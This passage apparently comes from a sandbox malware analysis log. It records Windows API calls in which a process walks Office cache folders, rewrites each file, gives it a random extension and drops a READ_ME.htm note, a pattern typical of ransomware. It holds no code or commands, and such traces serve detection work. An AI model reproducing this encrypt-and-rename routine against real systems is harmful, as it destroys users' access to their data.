cAlternateFileName="OFFICE~1.XML")) returned 1 [0135.232] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7d804480, ftCreationTime.dwHighDateTime=0x1d0cbbd, ftLastAccessTime.dwLowDateTime=0x7d804480, ftLastAccessTime.dwHighDateTime=0x1d0cbbd, ftLastWriteTime.dwLowDateTime=0xd25fb220, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x3d5c, dwReserved0=0x0, dwReserved1=0x0, cFileName="OffSetLR.cab", cAlternateFileName="")) returned 1 [0135.232] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7bc55fd0, ftCreationTime.dwHighDateTime=0x1d0cb96, ftLastAccessTime.dwLowDateTime=0x7bc55fd0, ftLastAccessTime.dwHighDateTime=0x1d0cb96, ftLastWriteTime.dwLowDateTime=0xd31e2020, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x32ac0, dwReserved0=0x0, dwReserved1=0x0, cFileName="osetupui.dll", cAlternateFileName="")) returned 1 [0135.232] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7752c460, ftCreationTime.dwHighDateTime=0x1d0990a, ftLastAccessTime.dwLowDateTime=0x7752c460, ftLastAccessTime.dwHighDateTime=0x1d0990a, ftLastWriteTime.dwLowDateTime=0xd3209120, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x3906, dwReserved0=0x0, dwReserved1=0x0, cFileName="pss10r.chm", cAlternateFileName="")) returned 1 [0135.233] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x588655b0, ftCreationTime.dwHighDateTime=0x1d0a41d, ftLastAccessTime.dwLowDateTime=0x588655b0, ftLastAccessTime.dwHighDateTime=0x1d0a41d, ftLastWriteTime.dwLowDateTime=0xd31e2020, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x14366, dwReserved0=0x0, dwReserved1=0x0, cFileName="setup.chm", cAlternateFileName="")) returned 1 [0135.233] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x41e54a10, ftCreationTime.dwHighDateTime=0x1d0cbd6, ftLastAccessTime.dwLowDateTime=0x41e54a10, ftLastAccessTime.dwHighDateTime=0x1d0cbd6, ftLastWriteTime.dwLowDateTime=0xd3209120, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x2123, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0135.233] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5746daf0, ftCreationTime.dwHighDateTime=0x1d0cba8, ftLastAccessTime.dwLowDateTime=0x5746daf0, ftLastAccessTime.dwHighDateTime=0x1d0cba8, ftLastWriteTime.dwLowDateTime=0xd31e2020, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ShellUI.MST", cAlternateFileName="")) returned 1 [0135.233] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5746daf0, ftCreationTime.dwHighDateTime=0x1d0cba8, ftLastAccessTime.dwLowDateTime=0x5746daf0, ftLastAccessTime.dwHighDateTime=0x1d0cba8, ftLastWriteTime.dwLowDateTime=0xd31e2020, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ShellUI.MST", cAlternateFileName="")) returned 0 [0135.233] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0135.234] SetErrorMode (uMode=0x0) returned 0x1 [0135.234] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90160000-0115-0409-0000-0000000FF1CE}-C\\branding.xml", nBufferLength=0x105, lpBuffer=0x21cf90, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90160000-0115-0409-0000-0000000FF1CE}-C\\branding.xml", lpFilePart=0x0) returned 0x4b [0135.234] SetErrorMode (uMode=0x1) returned 0x0 [0135.235] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90160000-0115-0409-0000-0000000FF1CE}-C\\branding.xml" (normalized: "c:\\msocache\\all users\\{90160000-0115-0409-0000-0000000ff1ce}-c\\branding.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0135.236] GetFileType (hFile=0x1d0) returned 0x1 [0135.236] SetErrorMode (uMode=0x0) returned 0x1 [0135.236] GetFileType (hFile=0x1d0) returned 0x1 [0135.236] GetFileSize (in: hFile=0x1d0, lpFileSizeHigh=0x21d5f8 | out: lpFileSizeHigh=0x21d5f8*=0x0) returned 0x521b9 [0135.238] ReadFile (in: hFile=0x1d0, lpBuffer=0x127c1ff8, nNumberOfBytesToRead=0x521b9, lpNumberOfBytesRead=0x21d4d8, lpOverlapped=0x0 | out: lpBuffer=0x127c1ff8*, lpNumberOfBytesRead=0x21d4d8*=0x521b9, lpOverlapped=0x0) returned 1 [0135.424] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90160000-0115-0409-0000-0000000FF1CE}-C\\branding.xml", nBufferLength=0x105, lpBuffer=0x21cfa0, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90160000-0115-0409-0000-0000000FF1CE}-C\\branding.xml", lpFilePart=0x0) returned 0x4b [0135.424] SetErrorMode (uMode=0x1) returned 0x0 [0135.425] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90160000-0115-0409-0000-0000000FF1CE}-C\\branding.xml" (normalized: "c:\\msocache\\all users\\{90160000-0115-0409-0000-0000000ff1ce}-c\\branding.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0135.429] GetFileType (hFile=0x1d0) returned 0x1 [0135.429] SetErrorMode (uMode=0x0) returned 0x1 [0135.429] GetFileType (hFile=0x1d0) returned 0x1 [0135.429] WriteFile (in: hFile=0x1d0, lpBuffer=0x1295c938*, nNumberOfBytesToWrite=0x521c0, lpNumberOfBytesWritten=0x21d558, lpOverlapped=0x0 | out: lpBuffer=0x1295c938*, lpNumberOfBytesWritten=0x21d558*=0x521c0, lpOverlapped=0x0) returned 1 [0135.517] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90160000-0115-0409-0000-0000000FF1CE}-C\\branding.xml", nBufferLength=0x105, lpBuffer=0x21d230, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90160000-0115-0409-0000-0000000FF1CE}-C\\branding.xml", lpFilePart=0x0) returned 0x4b [0135.517] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90160000-0115-0409-0000-0000000FF1CE}-C\\branding.xml.ak2ni4", nBufferLength=0x105, lpBuffer=0x21d230, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90160000-0115-0409-0000-0000000FF1CE}-C\\branding.xml.ak2ni4", lpFilePart=0x0) returned 0x52 [0135.518] SetErrorMode (uMode=0x1) returned 0x0 [0135.518] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90160000-0115-0409-0000-0000000FF1CE}-C\\branding.xml" (normalized: "c:\\msocache\\all users\\{90160000-0115-0409-0000-0000000ff1ce}-c\\branding.xml"), fInfoLevelId=0x0, lpFileInformation=0x21d480 | out: lpFileInformation=0x21d480*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2e1e12f0, ftCreationTime.dwHighDateTime=0x1d0ca7d, ftLastAccessTime.dwLowDateTime=0x2e1e12f0, ftLastAccessTime.dwHighDateTime=0x1d0ca7d, ftLastWriteTime.dwLowDateTime=0x4d558360, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x521c0)) returned 1 [0135.518] SetErrorMode (uMode=0x0) returned 0x1 [0135.519] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90160000-0115-0409-0000-0000000FF1CE}-C\\branding.xml" (normalized: "c:\\msocache\\all users\\{90160000-0115-0409-0000-0000000ff1ce}-c\\branding.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90160000-0115-0409-0000-0000000FF1CE}-C\\branding.xml.ak2ni4" (normalized: "c:\\msocache\\all users\\{90160000-0115-0409-0000-0000000ff1ce}-c\\branding.xml.ak2ni4")) returned 1 [0135.531] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90160000-0115-0409-0000-0000000FF1CE}-C\\OfficeMUI.xml", nBufferLength=0x105, lpBuffer=0x21cf90, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90160000-0115-0409-0000-0000000FF1CE}-C\\OfficeMUI.xml", lpFilePart=0x0) returned 0x4c [0135.531] SetErrorMode (uMode=0x1) returned 0x0 [0135.532] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90160000-0115-0409-0000-0000000FF1CE}-C\\OfficeMUI.xml" (normalized: "c:\\msocache\\all users\\{90160000-0115-0409-0000-0000000ff1ce}-c\\officemui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0135.532] GetFileType (hFile=0x1d0) returned 0x1 [0135.532] SetErrorMode (uMode=0x0) returned 0x1 [0135.532] GetFileType (hFile=0x1d0) returned 0x1 [0135.532] GetFileSize (in: hFile=0x1d0, lpFileSizeHigh=0x21d5f8 | out: lpFileSizeHigh=0x21d5f8*=0x0) returned 0x149b [0135.532] ReadFile (in: hFile=0x1d0, lpBuffer=0x284af48, nNumberOfBytesToRead=0x149b, lpNumberOfBytesRead=0x21d4d8, lpOverlapped=0x0 | out: lpBuffer=0x284af48*, lpNumberOfBytesRead=0x21d4d8*=0x149b, lpOverlapped=0x0) returned 1 [0135.550] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90160000-0115-0409-0000-0000000FF1CE}-C\\OfficeMUI.xml", nBufferLength=0x105, lpBuffer=0x21cfa0, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90160000-0115-0409-0000-0000000FF1CE}-C\\OfficeMUI.xml", lpFilePart=0x0) returned 0x4c [0135.550] SetErrorMode (uMode=0x1) returned 0x0 [0135.551] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90160000-0115-0409-0000-0000000FF1CE}-C\\OfficeMUI.xml" (normalized: "c:\\msocache\\all users\\{90160000-0115-0409-0000-0000000ff1ce}-c\\officemui.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0135.600] GetFileType (hFile=0x1d0) returned 0x1 [0135.600] SetErrorMode (uMode=0x0) returned 0x1 [0135.601] GetFileType (hFile=0x1d0) returned 0x1 [0135.601] WriteFile (in: hFile=0x1d0, lpBuffer=0x2931488*, nNumberOfBytesToWrite=0x14a0, lpNumberOfBytesWritten=0x21d558, lpOverlapped=0x0 | out: lpBuffer=0x2931488*, lpNumberOfBytesWritten=0x21d558*=0x14a0, lpOverlapped=0x0) returned 1 [0135.603] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90160000-0115-0409-0000-0000000FF1CE}-C\\OfficeMUI.xml", nBufferLength=0x105, lpBuffer=0x21d230, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90160000-0115-0409-0000-0000000FF1CE}-C\\OfficeMUI.xml", lpFilePart=0x0) returned 0x4c [0135.603] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90160000-0115-0409-0000-0000000FF1CE}-C\\OfficeMUI.xml.e6qpy0", nBufferLength=0x105, lpBuffer=0x21d230, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90160000-0115-0409-0000-0000000FF1CE}-C\\OfficeMUI.xml.e6qpy0", lpFilePart=0x0) returned 0x53 [0135.603] SetErrorMode (uMode=0x1) returned 0x0 [0135.603] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90160000-0115-0409-0000-0000000FF1CE}-C\\OfficeMUI.xml" (normalized: "c:\\msocache\\all users\\{90160000-0115-0409-0000-0000000ff1ce}-c\\officemui.xml"), fInfoLevelId=0x0, lpFileInformation=0x21d480 | out: lpFileInformation=0x21d480*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xdbe85560, ftCreationTime.dwHighDateTime=0x1d0cbb5, ftLastAccessTime.dwLowDateTime=0xdbe85560, ftLastAccessTime.dwHighDateTime=0x1d0cbb5, ftLastWriteTime.dwLowDateTime=0x4d63cba0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x14a0)) returned 1 [0135.603] SetErrorMode (uMode=0x0) returned 0x1 [0135.604] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90160000-0115-0409-0000-0000000FF1CE}-C\\OfficeMUI.xml" (normalized: "c:\\msocache\\all users\\{90160000-0115-0409-0000-0000000ff1ce}-c\\officemui.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90160000-0115-0409-0000-0000000FF1CE}-C\\OfficeMUI.xml.e6qpy0" (normalized: "c:\\msocache\\all users\\{90160000-0115-0409-0000-0000000ff1ce}-c\\officemui.xml.e6qpy0")) returned 1 [0135.605] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90160000-0115-0409-0000-0000000FF1CE}-C\\OfficeMUISet.xml", nBufferLength=0x105, lpBuffer=0x21cf90, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90160000-0115-0409-0000-0000000FF1CE}-C\\OfficeMUISet.xml", lpFilePart=0x0) returned 0x4f [0135.606] SetErrorMode (uMode=0x1) returned 0x0 [0135.606] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90160000-0115-0409-0000-0000000FF1CE}-C\\OfficeMUISet.xml" (normalized: "c:\\msocache\\all users\\{90160000-0115-0409-0000-0000000ff1ce}-c\\officemuiset.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0135.608] GetFileType (hFile=0x1d0) returned 0x1 [0135.608] SetErrorMode (uMode=0x0) returned 0x1 [0135.608] GetFileType (hFile=0x1d0) returned 0x1 [0135.608] GetFileSize (in: hFile=0x1d0, lpFileSizeHigh=0x21d5f8 | out: lpFileSizeHigh=0x21d5f8*=0x0) returned 0x408 [0135.608] ReadFile (in: hFile=0x1d0, lpBuffer=0x2933da0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x21d4d8, lpOverlapped=0x0 | out: lpBuffer=0x2933da0*, lpNumberOfBytesRead=0x21d4d8*=0x408, lpOverlapped=0x0) returned 1 [0135.633] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90160000-0115-0409-0000-0000000FF1CE}-C\\OfficeMUISet.xml", nBufferLength=0x105, lpBuffer=0x21cfa0, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90160000-0115-0409-0000-0000000FF1CE}-C\\OfficeMUISet.xml", lpFilePart=0x0) returned 0x4f [0135.634] SetErrorMode (uMode=0x1) returned 0x0 [0135.634] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90160000-0115-0409-0000-0000000FF1CE}-C\\OfficeMUISet.xml" (normalized: "c:\\msocache\\all users\\{90160000-0115-0409-0000-0000000ff1ce}-c\\officemuiset.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0135.635] GetFileType (hFile=0x1d0) returned 0x1 [0135.635] SetErrorMode (uMode=0x0) returned 0x1 [0135.635] GetFileType (hFile=0x1d0) returned 0x1 [0135.635] WriteFile (in: hFile=0x1d0, lpBuffer=0x2a16080*, nNumberOfBytesToWrite=0x410, lpNumberOfBytesWritten=0x21d478, lpOverlapped=0x0 | out: lpBuffer=0x2a16080*, lpNumberOfBytesWritten=0x21d478*=0x410, lpOverlapped=0x0) returned 1 [0135.637] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90160000-0115-0409-0000-0000000FF1CE}-C\\OfficeMUISet.xml", nBufferLength=0x105, lpBuffer=0x21d230, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90160000-0115-0409-0000-0000000FF1CE}-C\\OfficeMUISet.xml", lpFilePart=0x0) returned 0x4f [0135.637] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90160000-0115-0409-0000-0000000FF1CE}-C\\OfficeMUISet.xml.l9ecyc", nBufferLength=0x105, lpBuffer=0x21d230, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90160000-0115-0409-0000-0000000FF1CE}-C\\OfficeMUISet.xml.l9ecyc", lpFilePart=0x0) returned 0x56 [0135.638] SetErrorMode (uMode=0x1) returned 0x0 [0135.638] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90160000-0115-0409-0000-0000000FF1CE}-C\\OfficeMUISet.xml" (normalized: "c:\\msocache\\all users\\{90160000-0115-0409-0000-0000000ff1ce}-c\\officemuiset.xml"), fInfoLevelId=0x0, lpFileInformation=0x21d480 | out: lpFileInformation=0x21d480*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x740ab3a0, ftCreationTime.dwHighDateTime=0x1d0cbb2, ftLastAccessTime.dwLowDateTime=0x740ab3a0, ftLastAccessTime.dwHighDateTime=0x1d0cbb2, ftLastWriteTime.dwLowDateTime=0x4d688e60, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x410)) returned 1 [0135.638] SetErrorMode (uMode=0x0) returned 0x1 [0135.638] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90160000-0115-0409-0000-0000000FF1CE}-C\\OfficeMUISet.xml" (normalized: "c:\\msocache\\all users\\{90160000-0115-0409-0000-0000000ff1ce}-c\\officemuiset.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90160000-0115-0409-0000-0000000FF1CE}-C\\OfficeMUISet.xml.l9ecyc" (normalized: "c:\\msocache\\all users\\{90160000-0115-0409-0000-0000000ff1ce}-c\\officemuiset.xml.l9ecyc")) returned 1 [0135.639] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90160000-0115-0409-0000-0000000FF1CE}-C\\Setup.xml", nBufferLength=0x105, lpBuffer=0x21cf90, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90160000-0115-0409-0000-0000000FF1CE}-C\\Setup.xml", lpFilePart=0x0) returned 0x48 [0135.639] SetErrorMode (uMode=0x1) returned 0x0 [0135.639] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90160000-0115-0409-0000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90160000-0115-0409-0000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0135.641] GetFileType (hFile=0x1d0) returned 0x1 [0135.641] SetErrorMode (uMode=0x0) returned 0x1 [0135.641] GetFileType (hFile=0x1d0) returned 0x1 [0135.641] GetFileSize (in: hFile=0x1d0, lpFileSizeHigh=0x21d5f8 | out: lpFileSizeHigh=0x21d5f8*=0x0) returned 0x2123 [0135.641] ReadFile (in: hFile=0x1d0, lpBuffer=0x2a17ee8, nNumberOfBytesToRead=0x2123, lpNumberOfBytesRead=0x21d4d8, lpOverlapped=0x0 | out: lpBuffer=0x2a17ee8*, lpNumberOfBytesRead=0x21d4d8*=0x2123, lpOverlapped=0x0) returned 1 [0135.744] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90160000-0115-0409-0000-0000000FF1CE}-C\\Setup.xml", nBufferLength=0x105, lpBuffer=0x21cfa0, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90160000-0115-0409-0000-0000000FF1CE}-C\\Setup.xml", lpFilePart=0x0) returned 0x48 [0135.745] SetErrorMode (uMode=0x1) returned 0x0 [0135.745] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90160000-0115-0409-0000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90160000-0115-0409-0000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0135.746] GetFileType (hFile=0x1d0) returned 0x1 [0135.746] SetErrorMode (uMode=0x0) returned 0x1 [0135.746] GetFileType (hFile=0x1d0) returned 0x1 [0135.746] WriteFile (in: hFile=0x1d0, lpBuffer=0x2904140*, nNumberOfBytesToWrite=0x2130, lpNumberOfBytesWritten=0x21d558, lpOverlapped=0x0 | out: lpBuffer=0x2904140*, lpNumberOfBytesWritten=0x21d558*=0x2130, lpOverlapped=0x0) returned 1 [0135.748] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90160000-0115-0409-0000-0000000FF1CE}-C\\Setup.xml", nBufferLength=0x105, lpBuffer=0x21d230, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90160000-0115-0409-0000-0000000FF1CE}-C\\Setup.xml", lpFilePart=0x0) returned 0x48 [0135.749] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90160000-0115-0409-0000-0000000FF1CE}-C\\Setup.xml.j9ll6l", nBufferLength=0x105, lpBuffer=0x21d230, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90160000-0115-0409-0000-0000000FF1CE}-C\\Setup.xml.j9ll6l", lpFilePart=0x0) returned 0x4f [0135.749] SetErrorMode (uMode=0x1) returned 0x0 [0135.749] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90160000-0115-0409-0000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90160000-0115-0409-0000-0000000ff1ce}-c\\setup.xml"), fInfoLevelId=0x0, lpFileInformation=0x21d480 | out: lpFileInformation=0x21d480*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x41e54a10, ftCreationTime.dwHighDateTime=0x1d0cbd6, ftLastAccessTime.dwLowDateTime=0x41e54a10, ftLastAccessTime.dwHighDateTime=0x1d0cbd6, ftLastWriteTime.dwLowDateTime=0x4d793800, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x2130)) returned 1 [0135.749] SetErrorMode (uMode=0x0) returned 0x1 [0135.749] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90160000-0115-0409-0000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90160000-0115-0409-0000-0000000ff1ce}-c\\setup.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90160000-0115-0409-0000-0000000FF1CE}-C\\Setup.xml.j9ll6l" (normalized: "c:\\msocache\\all users\\{90160000-0115-0409-0000-0000000ff1ce}-c\\setup.xml.j9ll6l")) returned 1 [0135.750] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90160000-0115-0409-0000-0000000FF1CE}-C\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cfb0, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90160000-0115-0409-0000-0000000FF1CE}-C\\READ_ME.htm", lpFilePart=0x0) returned 0x4a [0135.750] SetErrorMode (uMode=0x1) returned 0x0 [0135.751] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90160000-0115-0409-0000-0000000FF1CE}-C\\READ_ME.htm" (normalized: "c:\\msocache\\all users\\{90160000-0115-0409-0000-0000000ff1ce}-c\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0135.751] GetFileType (hFile=0x1d0) returned 0x1 [0135.751] SetErrorMode (uMode=0x0) returned 0x1 [0135.751] GetFileType (hFile=0x1d0) returned 0x1 [0135.751] WriteFile (in: hFile=0x1d0, lpBuffer=0x290a488*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d518, lpOverlapped=0x0 | out: lpBuffer=0x290a488*, lpNumberOfBytesWritten=0x21d518*=0x720, lpOverlapped=0x0) returned 1 [0135.752] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90160000-0116-0409-1000-0000000FF1CE}-C", nBufferLength=0x105, lpBuffer=0x21d110, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90160000-0116-0409-1000-0000000FF1CE}-C", lpFilePart=0x0) returned 0x3e [0135.753] SetErrorMode (uMode=0x1) returned 0x0 [0135.753] FindFirstFileW (in: lpFileName="C:\\MSOCache\\All Users\\{90160000-0116-0409-1000-0000000FF1CE}-C\\*" (normalized: "c:\\msocache\\all users\\{90160000-0116-0409-1000-0000000ff1ce}-c\\*"), lpFindFileData=0x21d2b0 | out: lpFindFileData=0x21d2b0*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xb883f1e0, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xb9178720, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xb9178720, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0135.766] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xb883f1e0, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xb9178720, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xb9178720, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0135.767] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x75c7a4e0, ftCreationTime.dwHighDateTime=0x1d0cbbd, ftLastAccessTime.dwLowDateTime=0x75c7a4e0, ftLastAccessTime.dwHighDateTime=0x1d0cbbd, ftLastWriteTime.dwLowDateTime=0xb8bd0b10, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x12b000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office64MUI.msi", cAlternateFileName="OFFICE~2.MSI")) returned 1 [0135.767] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x51246020, ftCreationTime.dwHighDateTime=0x1d0cbb2, ftLastAccessTime.dwLowDateTime=0x51246020, ftLastAccessTime.dwHighDateTime=0x1d0cbb2, ftLastWriteTime.dwLowDateTime=0xb8bd0b10, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x776, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office64MUI.xml", cAlternateFileName="OFFICE~2.XML")) returned 1 [0135.767] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x74e2c320, ftCreationTime.dwHighDateTime=0x1d0cbbd, ftLastAccessTime.dwLowDateTime=0x74e2c320, 